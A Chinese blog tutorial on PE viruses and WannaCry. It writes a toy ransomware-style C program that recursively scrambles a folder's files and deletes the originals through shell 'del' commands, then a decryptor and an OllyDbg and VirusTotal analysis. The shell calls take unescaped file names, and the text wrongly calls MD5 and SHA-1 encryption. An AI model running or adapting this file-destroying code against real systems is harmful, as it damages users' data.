您可能之前看到過我寫的類似文章,爲什麼還要重複撰寫呢?只是想更好地幫助初學者瞭解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史。換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什麼程度,漫漫長征路,偏向虎山行。享受過程,一起加油~
系統安全系列作者將深入研究惡意樣本分析、逆向分析、攻防實戰和Windows漏洞利用等,通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步。前文介紹了條件語句和循環語句源碼還原及流程控制逆向。這篇文章將分享勒索病毒,通過編寫程序實現獲取Windows系統目錄文件,並對其進行加密和解密的過程;第二部分詳細講解了OllyDbg和在線沙箱的逆向分析過程。希望對入門的同學有幫助。
話不多說,讓我們開始新的征程吧!您的點贊、評論、收藏將是對我最大的支持,感恩安全路上一路前行,如果有寫得不好的地方,可以聯繫我修改。基礎性文章,希望對您有所幫助,作者的目的是與安全人共同進步,加油!也強烈推薦大家去看看參考文獻的視頻和書籍。
文章目錄
作者的github資源:
- 系統安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
前文分析:
- [系統安全] 一.什麼是逆向分析、逆向分析基礎及經典掃雷遊戲逆向
- [系統安全] 二.如何學好逆向分析及呂布傳遊戲逆向案例
- [系統安全] 三.IDA Pro反彙編工具初識及逆向工程解密實戰
- [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向破解
- [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰殭屍遊戲
- [系統安全] 六.逆向分析之條件語句和循環語句源碼還原及流程控制
- [系統安全] 七.逆向分析之PE病毒原理、C++實現文件加解密及OllyDbg逆向
聲明:本人堅決反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。
一.PE病毒和WannaCry勒索蠕蟲
1.PE病毒
什麼是PE病毒?
PE病毒是以Windows PE程序爲載體,能寄生於PE文件或Windows系統的病毒程序。PE病毒數量非常之多,包括早起的CIH病毒,全球第一個可以破壞計算機硬件的病毒,它會破壞主辦的BIOS,對其數據進行擦寫修改。再比如熊貓燒香、機器狗等等,其危害非常之大。
什麼叫感染?
說到病毒,不得不提感染。感染是指在儘量不影響目標程序(系統)正常功能的前提下,而使其具有病毒自身的功能。什麼叫病毒自身的功能呢?一個病毒通常包括如下模塊:
- 感染模塊: 被感人程序同樣具備感染能力
- 觸發模塊: 在特定條件下實施相應的病毒功能,比如日期、鍵盤輸入等
- 破壞模塊
- 其他模塊
CIH病毒
CIH病毒是一種能夠破壞計算機系統硬件的惡性病毒。這個病毒產自TW,原集嘉通訊公司工程師陳盈豪在其於TW大同工學院唸書期間製作。最早隨國際兩大盜版集團販賣的盜版光盤在歐美等地廣泛傳播,隨後進一步通過網絡傳播到全世界各個角落。CIH的載體是一個名爲“ICQ中文Chat模塊”的工具,並以熱門盜版光盤遊戲如“古墓奇兵”或Windows95/98爲媒介,經互聯網各網站互相轉載,使其迅速傳播。目前傳播的主要途徑主要通過Internet和電子郵件,當然隨着時間的推移,其傳播主要仍將通過軟盤或光盤途徑。
CIH病毒曾入榜全球十大計算機病毒之首,該病毒引起了許多重要部門的嚴密關注,其原因不言而喻。如果指揮、通信、政務等系統受到了CIH病毒的威脅甚至破壞,其後果不堪設想。
如果我們要編寫PE病毒,則需要掌握以下的關鍵:
- 病毒的重定位
- 獲取API函數地址
- 文件搜索
- 內存映射文件
- 病毒如何感染其他文件
- 病毒如何返回到Host程序
2.PE病毒的分類
以感染目標進行分類,包括:
(1) 文件感染
將代碼寄生在PE文件,病毒本身只是PE文件的一部分,依賴於感染目標,通常也叫HOST文件,控制權獲得也是以目標程序運行來獲得的。分爲:
- 傳統感染型:以Win32彙編程序編寫爲主
- 捆綁釋放型:編寫難度較低,通過高級語言均可編寫,將目標程序和病毒程序捆在一起,和捆綁器有相似之處
(2) 系統感染
將代碼或程序寄生在Windows操作系統,該類病毒越來越多,它不感染具體文件,但是它會在操作系統中保存自己的實體。同時也可以通過系統啓動的方法來獲取控制權。傳播途徑包括:
- 即時通信軟件,如QQ尾巴
- U盤、光盤
- 電子郵件
- 網絡共享
- 其他途徑
推薦作者前文:
3.勒索病毒
勒索病毒主要功能是遍歷電腦上所有文件,並且用加密算法加密,然後把加密密鑰發送到自己的郵箱裏,彈出對應的窗口勒索從而解密。典型的是WannaCry病毒,作者在“網絡安全自學篇”中詳細介紹過它的分析過程,也推薦大家去學習。
2017年5月12日,WannaCry蠕蟲通過永恆之藍MS17-010漏洞在全球範圍大爆發,感染大量的計算機。WannaCry勒索病毒全球大爆發,至少150個國家、30萬名用戶中招,造成損失達80億美元,已影響金融、能源、醫療、教育等衆多行業,造成嚴重的危害。
WannaCry是一種“蠕蟲式”勒索病毒軟件,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恆之藍)進行傳播。該蠕蟲感染計算機後會向計算機中植入敲詐者病毒,導致電腦大量文件被加密。
WannaCry利用Windows系統的SMB漏洞獲取系統的最高權限,該工具通過惡意代碼掃描開放445端口的Windows系統。被掃描到的Windows系統,只要開機上線,不需要用戶進行任何操作,即可通過共享漏洞上傳WannaCry勒索病毒等惡意程序。
WannaCry利用永恆之藍漏洞進行網絡端口掃描攻擊,目標機器被成功攻陷後會從攻擊機下載WannaCry木馬進行感染,並作爲攻擊機再次掃描互聯網和局域網的其他機器,行成蠕蟲感染大範圍超快速擴散。
木馬母體爲mssecsvc.exe,運行後會掃描隨機IP的互聯網機器,嘗試感染,也會掃描局域網相同網段的機器進行感染傳播,此外會釋放敲詐者程序tasksche.exe,對磁盤文件進行加密勒索。
木馬加密使用AES加密文件,並使用非對稱加密算法RSA 2048加密隨機密鑰,每個文件使用一個隨機密鑰,理論上不可PJ。同時@[email protected]顯示勒索界面。其核心流程如下圖所示:
WannaCry勒索病毒主要行爲是傳播和勒索。
- 傳播:利用基於445端口的SMB漏洞MS17-010(永恆之藍)進行傳播
- 勒索:釋放文件,包括加密器、解密器、說明文件、語言文件等;內存加載加密器模塊,加密執行類型文件,全部加密後啓動解密器;解密器啓動後,設置桌面背景顯示勒索信息,彈出窗口顯示付款賬號和勒索信息
二.獲取系統文件及加密處理
前面第一部分簡單普及了病毒和勒索的基本概念,它們都與感染、加密、解密、傳播、勒索等關鍵詞密切相關,接下來我將帶着大家實現最簡單的系統文件加密及解密功能。只有掌握了這些基本知識,才能更好地服務於我們的逆向分析工程。
注意:這裏僅允許大家加密自己電腦的文件夾並且在虛擬機中進行實驗,不要去惡意損壞他人的計算機設備,一切破壞和攻擊行爲後果自負。
假設桌面存在如下圖所示的文件“文件夾加密”,我們需要獲取其信息再進行文件遍歷及加密操作。
- 操作系統API
- 加密算法
- 解密算法
PS:建議大家創建一個新的文件夾,並複製一些無效文件進去測試。
第一步,創建Windows控制檯程序。
第二步,在編寫一個簡單的加密函數前,首先需要創建文件並執行打開、讀寫操作。
#include <stdio.h>
//文件加密函數
void jiami(char* fileName)
{
//1.打開文件
FILE* fp = NULL; //文件指針變量
fp = fopen(fileName, "r+"); //打開可讀寫的文件
if (NULL == fp) {
printf("打開文件失敗\n");
return;
}
printf("打開 %s 文件成功!\n", fileName);
//2.獲取文件大小
//3.每隔一個字節插入一個字節數據
//4.保存關閉
}
int main()
{
jiami("C:\\Users\\xiuzhang\\Desktop\\文件夾加密\\test.txt");
return 0;
}
運行結果如下圖所示:
注意,如果提示傳遞參數不兼容需要進行如下設置。
- 高級字符級處:設置編碼方式爲“使用多直接字符集”
- C++語言處:設置符合模式爲“否”
同時,如果提示錯誤“error C4996: ‘fopen’: This function or variable may be unsafe. ”,則因爲VS認爲fopen函數是不安全的,需要如下設置:
- 取消安全開發生命週期SDL檢查設置
第三步,計算文件大小,該文件共35個字節。
基本流程爲:
- 設置光標(文件內容指針)到文件末尾
- 計算光標位置距離文件頭字節數
- 設置光標位置到文件頭
#include <stdio.h>
//文件加密函數
void jiami(char* fileName)
{
FILE* fp = NULL; //文件指針變量
int size = 0; //文件大小
//1.打開文件
fp = fopen(fileName, "r+"); //打開可讀寫的文件
if (NULL == fp) {
printf("打開文件失敗\n");
return;
}
printf("打開 %s 文件成功!\n", fileName);
//2.獲取文件大小
fseek(fp, 0, SEEK_END); //設置光標到文件末尾
size = ftell(fp); //計算光標位置距離文件頭字節數
fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭
printf("文件大小爲:%d字節!\n", size);
//3.每隔一個字節插入一個字節數據
//4.保存關閉
}
int main()
{
jiami("C:\\Users\\xiuzhang\\Desktop\\文件夾加密\\test.txt");
return 0;
}
輸出結果如下圖所示:
第四步,循環插入字節實現簡單的加密。
如果我們在進行文件操作時,遇到權限不夠的情況,需要進行相關提權操作,再進行加密處理。核心函數如下:
- jiami:自定義函數讀取文件,每個一個字符添加一個a,實現文件簡單加密操作
//文件加密函數 參數-文件名字
void jiami(char* fileName)
{
FILE* fp = NULL; //文件指針變量
int size = 0; //文件大小
//1.打開文件
fp = fopen(fileName, "r+"); //打開可讀寫的文件
if (NULL == fp) {
printf("打開文件失敗\n");
return;
}
printf("打開 %s 文件成功!\n", fileName);
//2.獲取文件大小
fseek(fp, 0, SEEK_END); //設置光標到文件末尾
size = ftell(fp); //計算光標位置距離文件頭字節數
fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭
printf("文件大小爲:%d字節!\n", size);
//3.獲取文件所有內容
char* tmp;
int read_size;
tmp = (char*)malloc((size + 1) * sizeof(char));
read_size = fread(tmp, sizeof(char), size, fp);
tmp[size] = '\0';
//printf("讀取字符串爲:%s %d %d\n", tmp, read_size, strlen(tmp));
//4.每隔一個字節插入一個字節數據
char ch;
char code = 'a';
char* pTxt;
FILE* fpw = fopen("ddd.txt", "w"); //寫入文件
pTxt = (char*)malloc(sizeof(char) * (strlen(tmp) * 2 + 1));
for (int i = size; i >= 0; i--) {
ch = tmp[i];
if (i != 0) {
pTxt[2 * i] = ch;
pTxt[2 * i - 1] = code;
}
else {
pTxt[2 * i] = ch;
}
//printf("%d %c %c\n", i, ch, pTxt[2 * i - 1]);
}
pTxt[size * 2] = '\0';
printf("操作後字符串:%s %d\n", pTxt, strlen(pTxt));
fwrite(pTxt, sizeof(char), size * 2, fpw);
//保存關閉
fclose(fp);
fclose(fpw);
return;
}
運行程序後,我們打開test.txt查看如下,發現一個簡單的加密或擾亂完成,變成了一堆亂碼。當加密函數寫好之後,我們接着需要編寫一個遍歷文件夾的函數,實現對整個目錄進行加密處理。
再次強調:大家只能加密自己電腦的文件夾並且在虛擬機中進行實驗,不要去惡意損壞他人的計算機設備。
第五步,編寫遍歷文件夾函數。
通常遍歷文件夾採用的是遞歸方法,依次遍歷某個目錄的文件夾,深度搜索文件夾中的內容,如果是文件就加密,如果是文件夾就繼續深度搜索,直至找到文件依次返回,從而實現整個目錄的文件遍歷。
//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */
//設置要找的文件名 通配符實現
char findFileName[256];
memset(findFileName, 0, 256); //清空數組
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);
return;
}
int main()
{
//jiami("C:\\Users\\xiuzhang\\Desktop\\文件夾加密\\test.txt");
//獲取當前文件夾
char buff[256] = {
0 };
GetCurrentDirectory(256, buff);
printf("當前目錄是:%s\n\n", buff);
return 0;
}
上述代碼通過自定義函數遍歷文件夾,同時調用API函數獲取當前目錄,核心函數爲:
- GetCurrentDirectory:Windows API獲取當前目錄
- findFile:自定義函數調用通配符*獲取指定目錄所有文件
輸出結果如下圖所示:
第六步,進一步完善遍歷文件夾遞歸調用函數。
- 調用FindFirstFile函數獲取目錄下第一個文件
- 如果找到第一個文件,則循環調用FindNextFile函數獲取下一個文件
- 如果找到的是文件夾,則拼接新的文件夾路徑繼續遞歸遍歷文件
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>
//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */
//1.設置要找的文件名 通配符實現
char findFileName[256];
memset(findFileName, 0, 256); //清空數組
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);
//2.獲取目錄下第一個文件
WIN32_FIND_DATA findData; //定義結構體
HANDLE hFile = FindFirstFile(findFileName, &findData);
//判斷返回值等於-1(INVALID_HANDLE_VALUE)
if (INVALID_HANDLE_VALUE == hFile) {
printf("查找文件失敗!\n");
return;
}
//如果成功進入死循環繼續查找下一個文件
else {
int ret = 1;
char temp[256];
while (ret) {
//如果找到的是個文件夾 則需要繼續查找該文件夾內容
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
//文件夾拼接=原始路徑+新文件夾路徑
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一個文件夾:%s\n", temp);
Sleep(1000); //暫停1秒鐘
findFile(temp);
}
else {
//如果是文件 則加密文件
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一個文件:%s\n", temp);
}
//查找下一個文件
ret = FindNextFile(hFile, &findData);
}
}
return;
}
int main()
{
//獲取當前文件夾
char buff[256] = {
0 };
GetCurrentDirectory(256, buff);
printf("當前目錄是:%s\n\n", buff);
findFile(buff);
return 0;
}
在寫代碼過程中,我們一定要學會邊寫邊調試,或者稱爲打樁輸出,而不是一寫到底最後來慢慢修改。此時運行程序,它輸出遍歷當前目錄的文件夾結果如下圖所示,爲什麼會一直在遞歸呢?
注意這裏的 “.” 代表當前文件夾,所以需要過濾掉該點,否則陷入無限遞歸。
- findData.cFileName[0] != ‘.’
最終運行結果如下圖所示,將當前文件夾內所有內容顯示出來。
比如Debug文件夾中內容,和我們的獲取結果是一一對應的。
第七步,實現文件加密功能。
作者將文件夾改爲指定的目錄,再次強調虛擬機中運行或者指定某個不重要的文件夾進行測試。具體修改是在findFile函數中增加了jiami函數的調用。
注意: 使用二進制打開可以複製大型文件如.exe文件、音頻視頻文件等,所以文件操作改爲“rb”和“wb”。由於某些文件會很大,我們文件讀寫換了一種操作,按字符讀入及寫入。每一種寫法和優化都是有原因的,這個過程需要你去慢慢琢磨,包括逆向分析也一樣,操作系統或編譯器、惡意代碼爲什麼這麼優化,我們都需要慢慢去分析。
完整代碼如下:
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>
//文件加密函數 參數-文件名字
void jiami(char* fileName, char* pathName)
{
FILE* fp = NULL; //文件指針變量
int size = 0; //文件大小
//打開文件
//注意: 使用二進制打開可以複製大型文件如.exe文件,音頻視頻文件等
fp = fopen(fileName, "rb"); //打開可讀寫的文件
if (NULL == fp) {
printf("打開文件失敗\n");
return;
}
printf("打開 %s 文件成功!\n", fileName);
//獲取文件大小
fseek(fp, 0, SEEK_END); //設置光標到文件末尾
size = ftell(fp); //計算光標位置距離文件頭字節數
fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭
printf("文件大小爲:%d字節!\n", size);
//獲取文件所有內容
char code = 'a';
char ch;
char temp[256];
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, "test");
printf("%s\n", temp);
FILE* fpw = fopen(temp, "wb"); //寫入文件
while (!feof(fp)) {
ch = fgetc(fp);
fputc(ch, fpw);
fputc(code, fpw);
//printf("%c\n", ch);
}
//保存關閉
fclose(fp);
fclose(fpw);
//替換文件
char commend[1024];
memset(commend, 0, 1024);
sprintf(commend, "del \"%s\"", fileName); //訪問路徑包含空格增加雙引號
printf("%s\n", commend);
system(commend);
rename(temp, fileName); //調用C語言rename函數重命名文件
printf("\n");
return;
}
//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */
//1.設置要找的文件名 通配符實現
char findFileName[256];
memset(findFileName, 0, 256); //清空數組
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);
//2.獲取目錄下第一個文件
WIN32_FIND_DATA findData; //定義結構體
HANDLE hFile = FindFirstFile(findFileName, &findData);
//判斷返回值等於-1(INVALID_HANDLE_VALUE)
if (INVALID_HANDLE_VALUE == hFile) {
printf("查找文件失敗!\n");
return;
}
//如果成功進入死循環繼續查找下一個文件
else {
int ret = 1;
char temp[256];
while (ret) {
//如果找到的是個文件夾 則需要繼續查找該文件夾內容
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
if(findData.cFileName[0] != '.') {
//文件夾拼接=原始路徑+新文件夾路徑
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一個文件夾:%s\n", temp);
Sleep(1000); //暫停1秒鐘
findFile(temp);
}
}
else {
//如果是文件 則加密文件
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一個文件:%s\n", temp);
//加密文件
jiami(temp, pathName);
}
//查找下一個文件
ret = FindNextFile(hFile, &findData);
}
}
return;
}
int main()
{
char buff[256] = {
0 };
GetCurrentDirectory(256, buff);
printf("當前目錄是:%s\n\n", buff);
//加密指定文件夾目錄 建議使用虛擬機執行
findFile("C:\\Users\\xiuzhang\\Desktop\\文件夾加密");
return 0;
}
最終實現效果如下圖所示:
指定目錄的所有文件已經被加密,圖片已經不能顯示、EXE程序也不能執行。
圖片打開提示“圖片錯誤,無法打開”,EXE程序也無法執行。
接着我們用010editor軟件打開加密文件,具體的內容顯示如下圖所示:
注意,某次執行代碼沒修改加密文件夾,將VS當前目錄全部加密,工程直接奔潰,最終重新創建工程,所以大家僅能試試指定目錄來學習加密和解密原理知識。
第八步,編寫解密功能。
當我們中了勒索病毒,就需要解密,這裏我們簡單給大家編寫一個解密函數。當然,真實環境中,MD5、hash、SHA-1都是比較常用的加密算法。解密文件寫有兩種方法:
- 全部讀入內存,修改後重新存入文件
- 邊讀邊寫到另一新建文件,要修改的部分修改後存入新建文件,其他部分原封不動寫入,寫完刪掉原先文件,並將這個新的改爲刪掉那個的名字
這裏由於作者知道加密規則,則進行單個字符奇偶判斷寫入的處理,代碼如下:
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>
//文件加密函數 參數-文件名字
void jiami(char* fileName, char* pathName)
{
FILE* fp = NULL; //文件指針變量
int size = 0; //文件大小
//打開文件
//注意: 使用二進制打開可以複製大型文件如.exe文件,音頻視頻文件等
fp = fopen(fileName, "rb"); //打開可讀寫的文件
if (NULL == fp) {
printf("打開文件失敗\n");
return;
}
printf("打開 %s 文件成功!\n", fileName);
//獲取文件大小
fseek(fp, 0, SEEK_END); //設置光標到文件末尾
size = ftell(fp); //計算光標位置距離文件頭字節數
fseek(fp, 0, SEEK_SET); //設置光標位置到文件頭
printf("文件大小爲:%d字節!\n", size);
//獲取文件所有內容
char code = 'a';
char ch;
char temp[256];
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, "test");
printf("%s\n", temp);
FILE* fpw = fopen(temp, "wb"); //寫入文件
while (!feof(fp)) {
ch = fgetc(fp);
fputc(ch, fpw);
fputc(code, fpw);
//printf("%c\n", ch);
}
//保存關閉
fclose(fp);
fclose(fpw);
//替換文件
char commend[1024];
memset(commend, 0, 1024);
sprintf(commend, "del \"%s\"", fileName); //訪問路徑包含空格增加雙引號
printf("%s\n", commend);
system(commend);
rename(temp, fileName); //調用C語言rename函數重命名文件
printf("\n");
return;
}
//文件解密函數 參數-文件名字
void jiemi(char* fileName, char* pathName)
{
char ch;
int size = 0; //文件大小
FILE* fp; //打開文件
FILE* fpw; //寫入文件
char tmp[1024];
//初始化操作
memset(tmp, 0, 1024);
sprintf(tmp, "%s\\tmp", pathName);
printf("%s\n", tmp);
fp = fopen(fileName, "rb");
fpw = fopen(tmp, "wb");
fseek(fpw, 0, SEEK_SET); //設置光標位置到文件頭
//每隔一個字節刪除一個字節數據
int i = 0;
while (!feof(fp)) {
ch = fgetc(fp);
if (0 == (i % 2)) {
//偶數寫入
i = 1;
fputc(ch, fpw);
}
else {
i = 0;
continue;
}
}
fclose(fp);
fclose(fpw);
//替換文件
char commend[1024];
memset(commend, 0, 1024);
sprintf(commend, "del \"%s\"", fileName); //訪問路徑包含空格增加雙引號
printf("%s\n", commend);
system(commend);
rename(tmp, fileName); //調用C語言rename函數重命名文件
printf("\n");
return;
}
//遍歷文件夾找到每個文件 參數-文件夾名字
void findFile(char* pathName)
{
/* 禁止加密他人計算機,一定只能對指定目錄加密,尤其不能對C盤加密 */
//1.設置要找的文件名 通配符實現
char findFileName[256];
memset(findFileName, 0, 256); //清空數組
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);
//2.獲取目錄下第一個文件
WIN32_FIND_DATA findData; //定義結構體
HANDLE hFile = FindFirstFile(findFileName, &findData);
//判斷返回值等於-1(INVALID_HANDLE_VALUE)
if (INVALID_HANDLE_VALUE == hFile) {
printf("查找文件失敗!\n");
return;
}
//如果成功進入死循環繼續查找下一個文件
else {
int ret = 1;
char temp[256];
while (ret) {
//如果找到的是個文件夾 則需要繼續查找該文件夾內容
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
if(findData.cFileName[0] != '.') {
//文件夾拼接=原始路徑+新文件夾路徑
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一個文件夾:%s\n", temp);
Sleep(1000); //暫停1秒鐘
findFile(temp);
}
}
else {
//如果是文件 則加密文件
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一個文件:%s\n", temp);
//加密文件
//jiami(temp, pathName);
//解密文件
jiemi(temp, pathName);
}
//查找下一個文件
ret = FindNextFile(hFile, &findData);
}
}
return;
}
int main()
{
char buff[256] = {
0 };
GetCurrentDirectory(256, buff);
printf("當前目錄是:%s\n\n", buff);
//加密指定文件夾目錄 建議使用虛擬機執行
findFile("C:\\Users\\xxxxx\\Desktop\\文件夾加密-------------");
return 0;
}
最終成功還原代碼,圖片和EXE程序又能運行了!
但是遺憾的是,在文本中涉及中文字符,仍然出現了部分亂碼?哈哈!^ _ ^ 大家告訴我怎麼處理呢?感覺需要中文字符兩字節判斷操作,但也不影響這篇文章分享的加密與解密基礎知識。甚至你還可以做一個界面,包含加密按鈕和解密按鈕,融合Hash、MD5各種算法進行相關操作,這裏僅採用命令行的形式告訴大家原理,希望對您有所幫助。
對比下加密文件:
三.OllyDbg和在線沙箱逆向分析
1.OllyDbg分析
接着我們通過OD打開加密的EXE程序,對其進行簡單的逆向分析,顯示如下圖所示。可以看到有很多CC指令,這是VS2019的一些措施,接着我們嘗試簡單分析。
- 模塊入口點:0x009E13C5
第一步,右鍵選擇“查找”->“當前模塊中的名稱”,我們嘗試查看該EXE執行的函數。
我們可以看到調用的Win32 API函數,如下圖所示,調用FindFirstFileA和FindNextNextA函數,應該是在遍歷文件目錄。同時,包括了文件操作函數fopen、fseek、ftell、memset、fgetc、fputc等。同時包括了一些線程和進程相關的函數。
第二步,選中該函數右鍵點擊“在每個參考上設置斷點”。
接着進入對應斷點位置進行調試,設置斷點函數一般爲文件操作、API操作、數據顯示等。
第三步,另一種方法是選擇“所有模塊間的調用”,查看調用的函數信息。
顯示結果如下圖所示,包括我們使用的FindNextFileA、FindFirstFileA函數,屬於Kernel32中;也有Sleep睡眠函數,以及文件操作fopen、fseek、fgetc等。
第四步,我們選中某個函數右鍵即可設置斷點,比如FindNextFileA和FindFirstFileA函數,接着按下B鍵可以看到已經設置的斷點信息。
第五步,接着選中斷點選擇“反彙編窗口中跟隨”。
可以看到對應斷點FindNextFileA位置,這是逆向分析對指定模塊進行分析的常用方法。
接着按下F9調試程序,然後停在斷點位置,再按下F7進入斷點單步調試惡意樣本的核心模塊,比如該函數獲取的參數即爲“C:\User\xxxxx\Desktop\文件夾加密”,這就看到了打開該文件夾的目錄。
接續調試我們可以看到參數傳遞,字符串拼接、睡眠函數等內容,重點是我們要通過CALL分析進入到加密函數中,然後去分析加密的算法從而實現逆向PJ。
程序運行結果如下圖所示,我們可以結合輸出的結果進行每個功能模塊的分析及逆向。
最終,一個簡單的逆向分析過程講解完畢!最重要的是我們通過自己編寫加密解密算法,然而再對其進行分析,從而加深我們初學者學習逆向的經驗,這裏提出幾個問題供大家和我思考。
- OD逆向怎麼判斷惡意樣本(PE文件)執行或檢測了哪些文件
- OD逆向怎麼判斷惡意樣本(PE文件)是否具有註冊表操作、系統進程獲取、屏幕截屏等操作
- OD逆向怎麼判斷惡意樣本(PE文件)的網絡操作,IP地址、郵箱、域名訪問請求情況
- OD逆向怎麼判斷惡意樣本(PE文件)是否具有蠕蟲傳播感染功能
- 怎麼溯源一個惡意樣本
2.在線沙箱分析
在惡意樣本逆向分析中,在線平臺給我們提供了強大支撐,我們拿到一個樣本之後可以先對其進行在線監測。其操作比較簡單,就是將惡意樣本上傳至指定在想網址即可。常見的在線沙箱分析包括:
- virustotal沙箱:https://www.virustotal.com/
- 360沙箱:https://ti.qianxin.com/
- Cuckoo沙箱:https://cuckoo.cert.ee/
- 微步沙箱:https://s.threatbook.cn/
我們以 virustotal沙箱爲例,打開主頁如稀土所示,點擊“choose file”,上傳我們的勒索exe文件。
結果從72個在線引擎中掃描出4個是惡意樣本的引擎,如下圖所示:
我們可以看到該樣本的基本信息,包括MD5、SHA-1等。
接着是文件歷史信息以及PE文件節點信息。
下面有一個重點,是該文件的導入函數信息,在Imports中顯示,主要包括:
- KERNEL32.dll
- VCRUNTIME140D.dll
- ucrtbased.dll
ucrtbased.dll主要包括的文件操作如下圖所示,比如fopen、fputc、system、rename等函數。
如果該樣本有惡意家族關聯,它也能給出相應的信息。
四.總結
寫到這裏,這篇文章就介紹完畢,希望對您有所幫助,最後進行簡單的總結下。
- PE病毒和WannaCry勒索蠕蟲
PE病毒
PE病毒的分類
勒索病毒 - 獲取系統文件及加密處理
- OllyDbg逆向分析
學安全一年,認識了很多安全大佬和朋友,希望大家一起進步。這篇文章中如果存在一些不足,還請海涵。作者作爲網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。
作者的github資源:
- 系統安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
很多朋友問我如何學逆向分析?
下面給出推薦的學習路線和安全書籍。軟件逆行其實就是搬磚活,你需要的是任性和基本功。可能大佬們會有很多技巧,但我希望你能紮紮實實去躺過那些坑,會看懂代碼,會寫代碼,然後IDA和OD工具(倚天屠龍)用好,每天泡在代碼中,肯定能行的。你應該這樣學習:
- 1.多敲代碼,重視實戰;
- 2.程序不是寫出來的,是調出來的;
- 3.根據自己興趣和市場需求做一定規模的項目。
最後給出了這一年我在網絡安全、系統安全和機器學習看過的書,如果你想把AI更好的融入安全領域,看看這些書籍還是挺不錯,我也厚着臉皮把自己寫的兩本Python數據分析書放了進來,哈哈~
網絡安全:
系統安全:
AI+安全:
編程沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,幹就對了。什麼時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧。加油吧,少年希望這個路線對你有所幫助,共勉。
2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大數據分析、網絡空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的算法實現。娜璋之家會更加系統,並重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝。
(By:Eastmount 2020-12-25 週五夜於武漢 https://blog.csdn.net/Eastmount)
參考資料:
真心推薦大家好好看看這些視頻和文章,感恩這些大佬!